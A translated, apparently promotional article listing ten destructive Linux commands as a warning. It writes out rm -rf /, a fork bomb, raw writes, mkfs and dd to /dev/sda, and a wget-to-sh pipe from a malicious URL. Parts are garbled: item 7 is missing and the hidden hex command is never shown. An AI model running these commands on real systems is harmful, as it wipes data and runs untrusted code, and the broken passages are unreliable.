cool hit counter Cloud Computing Study Guide, Do you know the ten "nuclear buttons" of Linux?_Intefrankly

Cloud Computing Study Guide, Do you know the ten "nuclear buttons" of Linux?


This article will introduce you to ten commands, but it's best if you don't "try" to use them. Of course, the following commands are usually only available under root privileges to bring out the stupidity beyond redemption; as a normal user, it's only your own acreage that is destroyed.

1. The rm -rf command

The rm -rf command is one of the fastest ways to delete a folder and its contents.

The mere hint of a knocking error or ignorance can lead to an unrecoverable system crash.

The following are some options for the rm command.

- The rm command is commonly used to delete files under Linux.

- The rm -r command recursively deletes folders, even empty ones.

- The rm -f command can delete 'read-only files' directly without asking. Deleting a file under Linux doesn't care if the file is read-only, but only if its parent directory has write access. So the -f argument just means that you don't have to delete the confirmations one by one, but rather silently delete them all. Also, the original rm command doesn't actually have a delete prompt, it's just that normal distributions add the -i parameter to rm by way of an alias to require a delete confirmation, and -f suppresses that prompt.

- rm -rf / : Force delete everything in the root directory.

- rm -rf * : Forcibly delete all files in the current directory.

- rm -rf . : Forced deletion of the current folder and its subfolders.

From now on, keep an eye out when you want to execute the rm -rf command. We can prevent accidents when deleting files with the 'rm' command by creating an alias of rm -i in the ".bashrc" file for the 'rm' command, which asks you to confirm each deletion request.

Translation: most distros already do this, so if you haven't already, do so, and be sure to think about what you're doing before using the -f parameter! The translator himself has a lesson in blood and tears.

2. :(){:|:&};: command

This is an example of a fork bomb.

This is done by defining a function called ':' which will call itself twice, once in the foreground and once running in the background. It will execute over and over again until the system crashes.

3. command > /dev/sda

This command writes the output of a particular 'command' to the block device /dev/sda.

This operation replaces all blocks of data in the block device with the original data written by the command, resulting in the loss of data for the entire block device.

4. mv folder /dev/null

This command will move a certain 'folder' to /dev/null.

In Linux the /dev/null or null device is a special file, all data written to it is cleared and the write operation is returned as successful.

Of course, it's important to note that this command doesn't stop data recovery software - so true and complete destruction will need to be done using special software or techniques.

5. wget http://malicious_source -O- | sh

This command will download a script from a (perhaps) malicious source and execute it.

The Wget command will download the script, and sh will (unconditionally) execute the downloaded script.

Note: You should always pay attention to the source of the package or script you are downloading. Only use those scripts/programs that are downloaded from trusted sources.

6. mkfs.ext3 /dev/sda

The above command will format the block device 'sda', after executing this command your block device (hard drive) will be formatted, directly bringing your system to a non-recoverable stage.

Normally we don't use devices like /dev/sda directly, unless they are used as raw devices.

It is usually necessary to divide sda into partitions like sda1 and sda2 before using them. Of course, whether you use sda or sda1, mkfs to a block device or partition like this is devastating, and all the data on it is vaporized.

This command is often used to clear the contents of a file or to record the output of a command.

But please make sure the output file is empty or doesn't exist yet before you execute it, otherwise the original file can't really be recovered - even the data recovery software may not be able to help you anymore.

What you might really want to use is“>>”, i.e. accumulate the new output to the file, Instead of refreshing that file。

If an incorrect or ignorant input is entered when executed with the above column similar to “> xt.conf”  command will override the configuration file or any other system configuration file。

8. ^foo^bar

This command is used to edit a previously run command without retyping the entire command.

With foobar commands if you don't thoroughly check the risk of changing the original command, this can lead to real trouble.

9. dd if=/dev/random of=/dev/sda

This command writes random garbage files to the block device sda thereby erasing data and leaving your system in a potentially chaotic and unrecoverable state.

Remember above that mv to a black hole doesn't completely delete the data? Then this command is giving you a way to delete it completely! Of course you can overwrite it multiple times just to be on the safe side.

10. Hide command

The following command is actually the first command above (rm -rf).

The code here is hidden in hexadecimal, an ignorant user may be fooled, if you run the following command in terminal it may erase your root partition.

The real danger is hidden and will not be easily detected. You must always be mindful of what the outcome of what you are doing will be. Remember, never compile/run code from an unknown source. Please remember not to "try" them on the server or other devices ~ if you want to test them, please run them on a virtual machine, otherwise it would be bad if the files are lost or the system crashes. More Linux knowledge at ThousandFront Education.


Recommended>>
1、Everest Information wins several awards at the 2018 China Solution Provider 500 Awards
2、Nonlinear models with multivariate and multifactor
3、Example of GO language implementation of multicore parallelized operation
4、US blockchain concept stocks generally close higher
5、All eyes on the city The 2nd Red Boat Cup Jiaxing Global Entrepreneurship and Innovation Competition in North America will start soon

    已推荐到看一看 和朋友分享想法
    最多200字,当前共 发送

    已发送

    朋友将在看一看看到

    确定
    分享你的想法...
    取消

    分享想法到看一看

    确定
    最多200字,当前共

    发送中

    网络异常,请稍后重试

    微信扫一扫
    关注该公众号